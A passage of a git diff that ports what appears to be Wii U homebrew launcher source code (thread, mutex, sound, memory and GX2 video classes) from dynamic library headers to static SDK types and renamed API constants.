+++ b/src/menu/MainWindow.cpp @@ -15,8 +15,6 @@ * along with this program. If not, see . ****************************************************************************/ #include "MainWindow.h" -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/socket_functions.h" #include "Application.h" #include "utils/StringTools.h" #include "utils/logger.h" diff --git a/src/menu/TcpReceiver.cpp b/src/menu/TcpReceiver.cpp index a95f64a..b33300f 100644 --- a/src/menu/TcpReceiver.cpp +++ b/src/menu/TcpReceiver.cpp @@ -2,15 +2,16 @@ #include #include #include +#include #include "TcpReceiver.h" -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/socket_functions.h" #include "fs/CFile.hpp" #include "utils/logger.h" #include "utils/StringTools.h" #include "utils/net.h" +u32 __CODE_END = 0x0; + TcpReceiver::TcpReceiver(int port) : GuiFrame(0, 0) , CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff) @@ -68,7 +69,7 @@ void TcpReceiver::executeThread() } struct sockaddr_in clientAddr; - s32 addrlen = sizeof(struct sockaddr); + socklen_t addrlen = sizeof(struct sockaddr); while(!exitRequested) { diff --git a/src/menu/TcpReceiver.h b/src/menu/TcpReceiver.h index cf572d6..7492c2a 100644 --- a/src/menu/TcpReceiver.h +++ b/src/menu/TcpReceiver.h @@ -3,7 +3,6 @@ #include #include -#include #include "ProgressWindow.h" #include "system/CThread.h" diff --git a/src/resources/Resources.cpp b/src/resources/Resources.cpp index eabee60..87e9d21 100644 --- a/src/resources/Resources.cpp +++ b/src/resources/Resources.cpp @@ -1,4 +1,3 @@ -#include #include #include #include "Resources.h" diff --git a/src/resources/Resources.h b/src/resources/Resources.h index 3d0921b..6aba197 100644 --- a/src/resources/Resources.h +++ b/src/resources/Resources.h @@ -1,8 +1,8 @@ #ifndef RECOURCES_H_ #define RECOURCES_H_ - #include +#include "common/types.h" //! forward declaration class GuiImageData; diff --git a/src/resources/filelist.h b/src/resources/filelist.h index b359fc3..14ed18f 100644 --- a/src/resources/filelist.h +++ b/src/resources/filelist.h @@ -9,55 +9,53 @@ #ifndef _FILELIST_H_ #define _FILELIST_H_ -#include - typedef struct _RecourceFile { - const char *filename; - const u8 *DefaultFile; - const u32 &DefaultFileSize; - u8 *CustomFile; - u32 CustomFileSize; + const char *filename; + const unsigned char *DefaultFile; + const unsigned int &DefaultFileSize; + unsigned char *CustomFile; + unsigned int CustomFileSize; } RecourceFile; -extern const u8 bgMusic_ogg[]; -extern const u32 bgMusic_ogg_size; +extern const unsigned char bgMusic_ogg[]; +extern const unsigned int bgMusic_ogg_size; -extern const u8 button_click_mp3[]; -extern const u32 button_click_mp3_size; +extern const unsigned char button_click_mp3[]; +extern const unsigned int button_click_mp3_size; -extern const u8 button_png[]; -extern const u32 button_png_size; +extern const unsigned char button_png[]; +extern const unsigned int button_png_size; -extern const u8 font_ttf[]; -extern const u32 font_ttf_size; +extern const unsigned char font_ttf[]; +extern const unsigned int font_ttf_size; -extern const u8 homebrewButton_png[]; -extern const u32 homebrewButton_png_size; +extern const unsigned char homebrewButton_png[]; +extern const unsigned int homebrewButton_png_size; -extern const u8 launchMenuBox_png[]; -extern const u32 launchMenuBox_png_size; +extern const unsigned char launchMenuBox_png[]; +extern const unsigned int launchMenuBox_png_size; -extern const u8 leftArrow_png[]; -extern const u32 leftArrow_png_size; +extern const unsigned char leftArrow_png[]; +extern const unsigned int leftArrow_png_size; -extern const u8 player1_point_png[]; -extern const u32 player1_point_png_size; +extern const unsigned char player1_point_png[]; +extern const unsigned int player1_point_png_size; -extern const u8 player2_point_png[]; -extern const u32 player2_point_png_size; +extern const unsigned char player2_point_png[]; +extern const unsigned int player2_point_png_size; -extern const u8 player3_point_png[]; -extern const u32 player3_point_png_size; +extern const unsigned char player3_point_png[]; +extern const unsigned int player3_point_png_size; -extern const u8 player4_point_png[]; -extern const u32 player4_point_png_size; +extern const unsigned char player4_point_png[]; +extern const unsigned int player4_point_png_size; -extern const u8 progressWindow_png[]; -extern const u32 progressWindow_png_size; +extern const unsigned char progressWindow_png[]; +extern const unsigned int progressWindow_png_size; -extern const u8 rightArrow_png[]; -extern const u32 rightArrow_png_size; +extern const unsigned char rightArrow_png[]; +extern const unsigned int rightArrow_png_size; static RecourceFile RecourceList[] = { diff --git a/src/sounds/BufferCircle.cpp b/src/sounds/BufferCircle.cpp index b0ee705..ccba870 100644 --- a/src/sounds/BufferCircle.cpp +++ b/src/sounds/BufferCircle.cpp @@ -23,6 +23,7 @@ * * for WiiXplorer 2010 ***************************************************************************/ +#include #include #include "utils/utils.h" #include "BufferCircle.hpp" diff --git a/src/sounds/BufferCircle.hpp b/src/sounds/BufferCircle.hpp index b07c1c4..0502ef8 100644 --- a/src/sounds/BufferCircle.hpp +++ b/src/sounds/BufferCircle.hpp @@ -27,7 +27,7 @@ #define BUFFER_CIRCLE_HPP_ #include -#include +#include "common/types.h" class BufferCircle { diff --git a/src/sounds/Mp3Decoder.cpp b/src/sounds/Mp3Decoder.cpp index 1246b4a..48a76ed 100644 --- a/src/sounds/Mp3Decoder.cpp +++ b/src/sounds/Mp3Decoder.cpp @@ -29,7 +29,7 @@ #include #include #include -#include "dynamic_libs/os_functions.h" +#include "common/types.h" #include "Mp3Decoder.hpp" Mp3Decoder::Mp3Decoder(const char * filepath) diff --git a/src/sounds/OggDecoder.cpp b/src/sounds/OggDecoder.cpp index abb64f4..9f6c629 100644 --- a/src/sounds/OggDecoder.cpp +++ b/src/sounds/OggDecoder.cpp @@ -25,7 +25,6 @@ ***************************************************************************/ #include #include -#include "dynamic_libs/os_functions.h" #include "OggDecoder.hpp" static int ogg_read(void * punt, int bytes, int blocks, int *f) diff --git a/src/sounds/SoundDecoder.cpp b/src/sounds/SoundDecoder.cpp index e449170..057871f 100644 --- a/src/sounds/SoundDecoder.cpp +++ b/src/sounds/SoundDecoder.cpp @@ -14,11 +14,10 @@ * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ -#include #include #include #include -#include "dynamic_libs/os_functions.h" +#include #include "SoundDecoder.hpp" static const u32 FixedPointShift = 15; diff --git a/src/sounds/SoundHandler.cpp b/src/sounds/SoundHandler.cpp index 68f9dd5..8a98666 100644 --- a/src/sounds/SoundHandler.cpp +++ b/src/sounds/SoundHandler.cpp @@ -25,8 +25,8 @@ ***************************************************************************/ #include #include -#include "common/common.h" #include "dynamic_libs/ax_functions.h" +#include "common/common.h" #include "fs/CFile.hpp" #include "SoundHandler.hpp" #include "WavDecoder.hpp" @@ -95,7 +95,11 @@ void SoundHandler::RemoveDecoder(int voice) if(voiceList[voice]->getState() != Voice::STATE_STOP) voiceList[voice]->setState(Voice::STATE_STOP); - while(voiceList[voice]->getState() != Voice::STATE_STOPPED) + // it shouldn't take longer than 3 ms actually but we wait up to 20 + // on application quit the AX frame callback is not called anymore + // therefore this would end in endless loop if no timeout is defined + int timeOut = 20; + while(--timeOut && (voiceList[voice]->getState() != Voice::STATE_STOPPED)) usleep(1000); } SoundDecoder *decoder = DecoderList[voice]; @@ -223,12 +227,15 @@ void SoundHandler::executeThread() } //! initialize 48 kHz renderer - u32 params[3] = { 1, 0, 0 }; + AXInitParams params; + memset(¶ms, 0, sizeof(params)); + params.renderer = AX_INIT_RENDERER_48KHZ; - if(AXInitWithParams != 0) - AXInitWithParams(params); - else - AXInit(); + // TODO: handle support for 3.1.0 with dynamic libs instead of static linking it + //if(AXInitWithParams != 0) + AXInitWithParams(¶ms); + //else + // AXInit(); // The problem with last voice on 500 was caused by it having priority 0 // We would need to change this priority distribution if for some reason @@ -239,7 +246,7 @@ void SoundHandler::executeThread() voiceList[i] = new Voice(priority); // allocate voice 0 with highest priority } - AXRegisterFrameCallback((void*)&axFrameCallback); + AXRegisterAppFrameCallback(SoundHandler::axFrameCallback); u16 i = 0; @@ -266,7 +273,7 @@ void SoundHandler::executeThread() for(u32 i = 0; i < MAX_DECODERS; ++i) voiceList[i]->stop(); - AXRegisterFrameCallback(NULL); + AXRegisterAppFrameCallback(NULL); AXQuit(); for(u32 i = 0; i < MAX_DECODERS; ++i) diff --git a/src/sounds/SoundHandler.hpp b/src/sounds/SoundHandler.hpp index 7b0beb6..f793332 100644 --- a/src/sounds/SoundHandler.hpp +++ b/src/sounds/SoundHandler.hpp @@ -27,7 +27,7 @@ #define SOUNDHANDLER_H_ #include -#include +#include "common/types.h" #include "system/CThread.h" #include "SoundDecoder.hpp" #include "Voice.h" diff --git a/src/sounds/Voice.h b/src/sounds/Voice.h index 63fd94e..e499fc8 100644 --- a/src/sounds/Voice.h +++ b/src/sounds/Voice.h @@ -17,8 +17,8 @@ #ifndef _AXSOUND_H_ #define _AXSOUND_H_ -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/ax_functions.h" +#include +#include class Voice { @@ -47,19 +47,18 @@ public: voice = AXAcquireVoice(prio, 0, 0); if(voice) { - AXVoiceBegin(voice); AXSetVoiceType(voice, 0); setVolume(0x80000000); - u32 mix[24]; + AXVoiceDeviceMixData mix[6]; memset(mix, 0, sizeof(mix)); - mix[0] = 0x80000000; - mix[4] = 0x80000000; + mix[0].bus[0].volume = 0x8000; + mix[0].bus[0].delta = 0; + mix[1].bus[0].volume = 0x8000; + mix[1].bus[0].delta = 0; AXSetVoiceDeviceMix(voice, 0, 0, mix); AXSetVoiceDeviceMix(voice, 1, 0, mix); - - AXVoiceEnd(voice); } } @@ -78,23 +77,23 @@ public: memset(&voiceBuffer, 0, sizeof(voiceBuffer)); - voiceBuffer.samples = buffer; - voiceBuffer.format = format; - voiceBuffer.loop = (nextBuffer == NULL) ? 0 : 1; - voiceBuffer.cur_pos = 0; - voiceBuffer.end_pos = bufferSize >> 1; - voiceBuffer.loop_offset = ((nextBuffer - buffer) >> 1); + voiceBuffer.data = buffer; + voiceBuffer.dataType = format; + voiceBuffer.loopingEnabled = (nextBuffer == NULL) ? 0 : 1; + voiceBuffer.currentOffset = 0; + voiceBuffer.endOffset = bufferSize >> 1; + voiceBuffer.loopOffset = ((nextBuffer - buffer) >> 1); nextBufferSize = nextBufSize; - u32 samplesPerSec = (AXGetInputSamplesPerSec != 0) ? AXGetInputSamplesPerSec() : 32000; + // TODO: handle support for 3.1.0 with dynamic libs instead of static linking it + //u32 samplesPerSec = (AXGetInputSamplesPerSec != 0) ? AXGetInputSamplesPerSec() : 32000; + u32 samplesPerSec = AXGetInputSamplesPerSec(); - ratioBits[0] = (u32)(0x00010000 * ((f32)sampleRate / (f32)samplesPerSec)); - ratioBits[1] = 0; - ratioBits[2] = 0; - ratioBits[3] = 0; + memset(&ratioBits, 0, sizeof(ratioBits)); + ratioBits.ratio = (u32)(0x00010000 * ((f32)sampleRate / (f32)samplesPerSec)); AXSetVoiceOffsets(voice, &voiceBuffer); - AXSetVoiceSrc(voice, ratioBits); + AXSetVoiceSrc(voice, &ratioBits); AXSetVoiceSrcType(voice, 1); AXSetVoiceState(voice, 1); } @@ -108,16 +107,21 @@ public: void setVolume(u32 vol) { if(voice) - AXSetVoiceVe(voice, &vol); + { + AXVoiceVeData data; + data.volume = vol >> 16; + data.delta = vol & 0xFFFF; + AXSetVoiceVe(voice, &data); + } } void setNextBuffer(const u8 *buffer, u32 bufferSize) { - voiceBuffer.loop_offset = ((buffer - voiceBuffer.samples) >> 1); + voiceBuffer.loopOffset = ((buffer - (const u8*)voiceBuffer.data) >> 1); nextBufferSize = bufferSize; - AXSetVoiceLoopOffset(voice, voiceBuffer.loop_offset); + AXSetVoiceLoopOffset(voice, voiceBuffer.loopOffset); } bool isBufferSwitched() @@ -126,7 +130,7 @@ public: if(lastLoopCounter != loopCounter) { lastLoopCounter = loopCounter; - AXSetVoiceEndOffset(voice, voiceBuffer.loop_offset + (nextBufferSize >> 1)); + AXSetVoiceEndOffset(voice, voiceBuffer.loopOffset + (nextBufferSize >> 1)); return true; } return false; @@ -149,19 +153,9 @@ public: } private: - void *voice; - u32 ratioBits[4]; - - typedef struct _ax_buffer_t { - u16 format; - u16 loop; - u32 loop_offset; - u32 end_pos; - u32 cur_pos; - const unsigned char *samples; - } ax_buffer_t; - - ax_buffer_t voiceBuffer; + AXVoice *voice; + AXVoiceSrc ratioBits; + AXVoiceOffsets voiceBuffer; u32 state; u32 nextBufferSize; u32 lastLoopCounter; diff --git a/src/system/CMutex.h b/src/system/CMutex.h index 3e7cc1b..fecd54c 100644 --- a/src/system/CMutex.h +++ b/src/system/CMutex.h @@ -18,13 +18,13 @@ #define _CMUTEX_H_ #include -#include "dynamic_libs/os_functions.h" +#include class CMutex { public: CMutex() { - pMutex = malloc(OS_MUTEX_SIZE); + pMutex = (OSMutex*) malloc(sizeof(OSMutex)); if(!pMutex) return; @@ -50,7 +50,7 @@ public: return (OSTryLockMutex(pMutex) != 0); } private: - void *pMutex; + OSMutex *pMutex; }; class CMutexLock diff --git a/src/system/CThread.h b/src/system/CThread.h index d9e01f6..81d8ac2 100644 --- a/src/system/CThread.h +++ b/src/system/CThread.h @@ -17,10 +17,9 @@ #ifndef CTHREAD_H_ #define CTHREAD_H_ -#include #include #include -#include "dynamic_libs/os_functions.h" +#include class CThread { @@ -37,12 +36,12 @@ public: //! save attribute assignment iAttributes = iAttr; //! allocate the thread - pThread = memalign(8, 0x1000); + pThread = (OSThread*)memalign(8, sizeof(OSThread)); //! allocate the stack pThreadStack = (u8 *) memalign(0x20, iStackSize); //! create the thread if(pThread && pThreadStack) - OSCreateThread(pThread, &CThread::threadCallback, 1, this, (u32)pThreadStack+iStackSize, iStackSize, iPriority, iAttributes); + OSCreateThread(pThread, &CThread::threadCallback, 1, (char*)this, pThreadStack+iStackSize, iStackSize, iPriority, iAttributes); } //! destructor @@ -104,14 +103,14 @@ public: eAttributePinnedAff = 0x10 }; private: - static int threadCallback(int argc, void *arg) + static int threadCallback(int argc, const char **argv) { //! After call to start() continue with the internal function - ((CThread *) arg)->executeThread(); + ((CThread *) argv)->executeThread(); return 0; } int iAttributes; - void *pThread; + OSThread *pThread; u8 *pThreadStack; Callback pCallback; void *pCallbackArg; diff --git a/src/system/exception_handler.c b/src/system/exception_handler.c index 0cde2d0..9d8a66b 100644 --- a/src/system/exception_handler.c +++ b/src/system/exception_handler.c @@ -1,5 +1,5 @@ #include -#include "dynamic_libs/os_functions.h" +#include "common/types.h" #include "exception_handler.h" #define OS_EXCEPTION_MODE_GLOBAL_ALL_CORES 4 @@ -35,6 +35,9 @@ typedef struct OSContext /* There is actually a lot more here but we don't need the rest*/ } OSContext; +#include +#include + #define CPU_STACK_TRACE_DEPTH 10 #define __stringify(rn) #rn @@ -77,11 +80,9 @@ static const char exception_print_formats[18][45] = { "%p: %08X %08X %08X %08X\n", // 17 }; -static unsigned char exception_cb(void * c, unsigned char exception_type) { +static unsigned char exception_cb(OSContext * context, unsigned char exception_type) { char buf[850]; int pos = 0; - - OSContext *context = (OSContext *) c; /* * This part is mostly from libogc. Thanks to the devs over there. */ @@ -162,7 +163,7 @@ static unsigned char program_exception_cb(void * context) { } void setup_os_exceptions(void) { - OSSetExceptionCallback(OS_EXCEPTION_DSI, &dsi_exception_cb); - OSSetExceptionCallback(OS_EXCEPTION_ISI, &isi_exception_cb); - OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, &program_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_DSI, (OSExceptionCallbackFn)dsi_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_ISI, (OSExceptionCallbackFn)isi_exception_cb); + OSSetExceptionCallback(OS_EXCEPTION_PROGRAM, (OSExceptionCallbackFn)program_exception_cb); } diff --git a/src/system/memory.c b/src/system/memory.c index 91f5392..9d41226 100644 --- a/src/system/memory.c +++ b/src/system/memory.c @@ -16,7 +16,10 @@ ****************************************************************************/ #include #include -#include "dynamic_libs/os_functions.h" +#include +#include +#include +#include #include "common/common.h" #include "memory.h" @@ -34,48 +37,46 @@ //! Memory functions //! This is the only place where those are needed so lets keep them more or less private //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -extern unsigned int * pMEMAllocFromDefaultHeapEx; -extern unsigned int * pMEMAllocFromDefaultHeap; -extern unsigned int * pMEMFreeToDefaultHeap; - -extern int (* MEMGetBaseHeapHandle)(int mem_arena); -extern unsigned int (* MEMGetAllocatableSizeForFrmHeapEx)(int heap, int align); -extern void *(* MEMAllocFromFrmHeapEx)(int heap, unsigned int size, int align); -extern void (* MEMFreeToFrmHeap)(int heap, int mode); -extern void *(* MEMAllocFromExpHeapEx)(int heap, unsigned int size, int align); -extern int (* MEMCreateExpHeapEx)(void* address, unsigned int size, unsigned short flags); -extern void *(* MEMDestroyExpHeap)(int heap); -extern void (* MEMFreeToExpHeap)(int heap, void* ptr); - -static int mem1_heap = -1; -static int bucket_heap = -1; +static MEMExpandedHeap * mem1_heap = NULL; +static MEMExpandedHeap * bucket_heap = NULL; void memoryInitialize(void) { - int mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); - unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); - void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); - if(mem1_memory) - mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); + if(!mem1_heap) + { + MEMFrameHeap * mem1_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_1); + unsigned int mem1_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(mem1_heap_handle, 4); + void *mem1_memory = MEMAllocFromFrmHeapEx(mem1_heap_handle, mem1_allocatable_size, 4); + if(mem1_memory) + mem1_heap = MEMCreateExpHeapEx(mem1_memory, mem1_allocatable_size, 0); + } - int bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); - unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); - void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); - if(bucket_memory) - bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); + if(!bucket_heap) + { + MEMFrameHeap * bucket_heap_handle = MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET); + unsigned int bucket_allocatable_size = MEMGetAllocatableSizeForFrmHeapEx(bucket_heap_handle, 4); + void *bucket_memory = MEMAllocFromFrmHeapEx(bucket_heap_handle, bucket_allocatable_size, 4); + if(bucket_memory) + bucket_heap = MEMCreateExpHeapEx(bucket_memory, bucket_allocatable_size, 0); + } } void memoryRelease(void) { - MEMDestroyExpHeap(mem1_heap); - MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); - mem1_heap = -1; - - MEMDestroyExpHeap(bucket_heap); - MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); - bucket_heap = -1; + if(mem1_heap) + { + MEMDestroyExpHeap(mem1_heap); + MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_1), 3); + mem1_heap = NULL; + } + if(bucket_heap) + { + MEMDestroyExpHeap(bucket_heap); + MEMFreeToFrmHeap(MEMGetBaseHeapHandle(MEMORY_ARENA_FG_BUCKET), 3); + bucket_heap = NULL; + } } - +/* //!------------------------------------------------------------------------------------------- //! wraps //!------------------------------------------------------------------------------------------- @@ -159,18 +160,18 @@ void *__wrap__realloc_r(struct _reent *r, void *p, size_t size) { return __wrap_realloc(p, size); } - +*/ //!------------------------------------------------------------------------------------------- //! some wrappers //!------------------------------------------------------------------------------------------- void * MEM2_alloc(unsigned int size, unsigned int align) { - return __wrap_memalign(align, size); + return memalign(align, size); } void MEM2_free(void *ptr) { - __wrap_free(ptr); + free(ptr); } void * MEM1_alloc(unsigned int size, unsigned int align) diff --git a/src/utils/HomebrewXML.cpp b/src/utils/HomebrewXML.cpp index e8a7ad3..481ceb2 100644 --- a/src/utils/HomebrewXML.cpp +++ b/src/utils/HomebrewXML.cpp @@ -1,7 +1,7 @@ -#include #include #include #include +#include "common/types.h" #include "tinyxml.h" #include "HomebrewXML.h" diff --git a/src/utils/StringTools.cpp b/src/utils/StringTools.cpp index debb6c7..7fff008 100644 --- a/src/utils/StringTools.cpp +++ b/src/utils/StringTools.cpp @@ -30,7 +30,7 @@ #include #include #include -#include +#include "common/types.h" const char * fmt(const char * format, ...) { diff --git a/src/utils/StringTools.h b/src/utils/StringTools.h index bcf89c4..897376a 100644 --- a/src/utils/StringTools.h +++ b/src/utils/StringTools.h @@ -26,9 +26,9 @@ #ifndef __STRING_TOOLS_H #define __STRING_TOOLS_H -#include #include #include +#include "common/types.h" const char * fmt(const char * format, ...); const wchar_t * wfmt(const char * format, ...); diff --git a/src/utils/logger.c b/src/utils/logger.c index f4795b4..90f4497 100644 --- a/src/utils/logger.c +++ b/src/utils/logger.c @@ -1,18 +1,17 @@ +#include #include #include #include #include #include +#include #include "common/common.h" -#include "dynamic_libs/os_functions.h" -#include "dynamic_libs/socket_functions.h" #include "logger.h" #ifdef DEBUG_LOGGER static int log_socket = -1; static volatile int log_lock = 0; - void log_init(const char * ipString) { log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); diff --git a/src/utils/net.c b/src/utils/net.c index 01e5eab..139acb7 100644 --- a/src/utils/net.c +++ b/src/utils/net.c @@ -1,4 +1,4 @@ -#include "dynamic_libs/socket_functions.h" +#include int recvwait(int sock, unsigned char *buffer, int len) { diff --git a/src/utils/utils.c b/src/utils/utils.c new file mode 100644 index 0000000..c46a559 --- /dev/null +++ b/src/utils/utils.c @@ -0,0 +1,17 @@ +#include + + +#define BUS_SPEED 248625000 +#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) +#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) +#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) + +void usleep(unsigned int microsecs) +{ + OSSleepTicks(MICROSECS_TO_TICKS(microsecs)); +} + +void sleep(unsigned int secs) +{ + OSSleepTicks(SECS_TO_TICKS(secs)); +} diff --git a/src/video/CVideo.cpp b/src/video/CVideo.cpp index 63d134b..adef8a1 100644 --- a/src/video/CVideo.cpp +++ b/src/video/CVideo.cpp @@ -21,9 +21,7 @@ #include "shaders/Texture2DShader.h" #include "shaders/ColorShader.h" #include "shaders/Shader3D.h" -#include "shaders/ShaderFractalColor.h" #include "shaders/FXAAShader.h" -#include "dynamic_libs/os_functions.h" CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) { @@ -35,25 +33,22 @@ CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) //! initialize GX2 command buffer u32 gx2_init_attributes[9]; - gx2_init_attributes[0] = GX2_INIT_ATTRIB_CB_BASE; + gx2_init_attributes[0] = GX2_INIT_CMD_BUF_BASE; gx2_init_attributes[1] = (u32)gx2CommandBuffer; - gx2_init_attributes[2] = GX2_INIT_ATTRIB_CB_SIZE; + gx2_init_attributes[2] = GX2_INIT_CMD_BUF_POOL_SIZE; gx2_init_attributes[3] = GX2_COMMAND_BUFFER_SIZE; - gx2_init_attributes[4] = GX2_INIT_ATTRIB_ARGC; + gx2_init_attributes[4] = GX2_INIT_ARGC; gx2_init_attributes[5] = 0; - gx2_init_attributes[6] = GX2_INIT_ATTRIB_ARGV; + gx2_init_attributes[6] = GX2_INIT_ARGV; gx2_init_attributes[7] = 0; - gx2_init_attributes[8] = GX2_INIT_ATTRIB_NULL; + gx2_init_attributes[8] = GX2_INIT_END; GX2Init(gx2_init_attributes); - //! GX2 resources are not used in this application but if needed, the allocator is setup - GX2RSetAllocator(&CVideo::GX2RAlloc, &CVideo::GX2RFree); - u32 scanBufferSize = 0; - s32 scaleNeeded = 0; + u32 scaleNeeded = 0; - s32 tvScanMode = (forceTvScanMode >= 0) ? forceTvScanMode : GX2GetSystemTVScanMode(); - s32 drcScanMode = (forceDrcScanMode >= 0) ? forceDrcScanMode : GX2GetSystemDRCScanMode(); + s32 tvScanMode = ((forceTvScanMode >= 0) ? forceTvScanMode : (s32)GX2GetSystemTVScanMode()); + s32 drcScanMode = ((forceDrcScanMode >= 0) ? forceDrcScanMode : (s32)GX2GetSystemDRCScanMode()); s32 tvRenderMode; u32 tvWidth = 0; @@ -65,24 +60,24 @@ CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) case GX2_TV_SCAN_MODE_480P: tvWidth = 854; tvHeight = 480; - tvRenderMode = GX2_TV_RENDER_480_WIDE; + tvRenderMode = GX2_TV_RENDER_MODE_WIDE_480P; break; case GX2_TV_SCAN_MODE_1080I: case GX2_TV_SCAN_MODE_1080P: tvWidth = 1920; tvHeight = 1080; - tvRenderMode = GX2_TV_RENDER_1080; + tvRenderMode = GX2_TV_RENDER_MODE_WIDE_1080P; break; case GX2_TV_SCAN_MODE_720P: default: tvWidth = 1280; tvHeight = 720; - tvRenderMode = GX2_TV_RENDER_720; + tvRenderMode = GX2_TV_RENDER_MODE_WIDE_720P; break; } - s32 tvAAMode = GX2_AA_MODE_1X; - s32 drcAAMode = GX2_AA_MODE_4X; + s32 tvAAMode = GX2_AA_MODE1X; + s32 drcAAMode = GX2_AA_MODE4X; //! calculate the scale factor for later texture resize widthScaleFactor = 1.0f / (f32)tvWidth; @@ -90,51 +85,51 @@ CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) depthScaleFactor = widthScaleFactor; //! calculate the size needed for the TV scan buffer and allocate the buffer from bucket memory - GX2CalcTVSize(tvRenderMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE, &scanBufferSize, &scaleNeeded); + GX2CalcTVSize((GX2TVRenderMode)tvRenderMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE, &scanBufferSize, &scaleNeeded); tvScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT); - GX2Invalidate(GX2_INVALIDATE_CPU, tvScanBuffer, scanBufferSize); - GX2SetTVBuffer(tvScanBuffer, scanBufferSize, tvRenderMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvScanBuffer, scanBufferSize); + GX2SetTVBuffer(tvScanBuffer, scanBufferSize, (GX2TVRenderMode)tvRenderMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE); //! calculate the size needed for the DRC scan buffer and allocate the buffer from bucket memory - GX2CalcDRCSize(drcScanMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE, &scanBufferSize, &scaleNeeded); + GX2CalcDRCSize((GX2DrcRenderMode)drcScanMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE, &scanBufferSize, &scaleNeeded); drcScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT); - GX2Invalidate(GX2_INVALIDATE_CPU, drcScanBuffer, scanBufferSize); - GX2SetDRCBuffer(drcScanBuffer, scanBufferSize, drcScanMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcScanBuffer, scanBufferSize); + GX2SetDRCBuffer(drcScanBuffer, scanBufferSize, (GX2DrcRenderMode)drcScanMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE); //! Setup color buffer for TV rendering - GX2InitColorBuffer(&tvColorBuffer, GX2_SURFACE_DIM_2D, tvWidth, tvHeight, 1, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, tvAAMode); - tvColorBuffer.surface.image_data = MEM1_alloc(tvColorBuffer.surface.image_size, tvColorBuffer.surface.align); - GX2Invalidate(GX2_INVALIDATE_CPU, tvColorBuffer.surface.image_data, tvColorBuffer.surface.image_size); + GX2InitColorBuffer(&tvColorBuffer, GX2_SURFACE_DIM_TEXTURE_2D, tvWidth, tvHeight, 1, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, (GX2AAMode)tvAAMode); + tvColorBuffer.surface.image = MEM1_alloc(tvColorBuffer.surface.imageSize, tvColorBuffer.surface.alignment); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvColorBuffer.surface.image, tvColorBuffer.surface.imageSize); //! due to AA we can only use 16 bit depth buffer in MEM1 otherwise we would have to switch to mem2 for depth buffer //! this should be ok for our purpose i guess //! Setup TV depth buffer (can be the same for both if rendered one after another) u32 size, align; - GX2InitDepthBuffer(&tvDepthBuffer, GX2_SURFACE_DIM_2D, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_TCD_R32_FLOAT, tvAAMode); - tvDepthBuffer.surface.image_data = MEM1_alloc(tvDepthBuffer.surface.image_size, tvDepthBuffer.surface.align); - GX2Invalidate(GX2_INVALIDATE_CPU, tvDepthBuffer.surface.image_data, tvDepthBuffer.surface.image_size); + GX2InitDepthBuffer(&tvDepthBuffer, GX2_SURFACE_DIM_TEXTURE_2D, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_FLOAT_R32, (GX2AAMode)tvAAMode); + tvDepthBuffer.surface.image = MEM1_alloc(tvDepthBuffer.surface.imageSize, tvDepthBuffer.surface.alignment); + GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvDepthBuffer.surface.image, 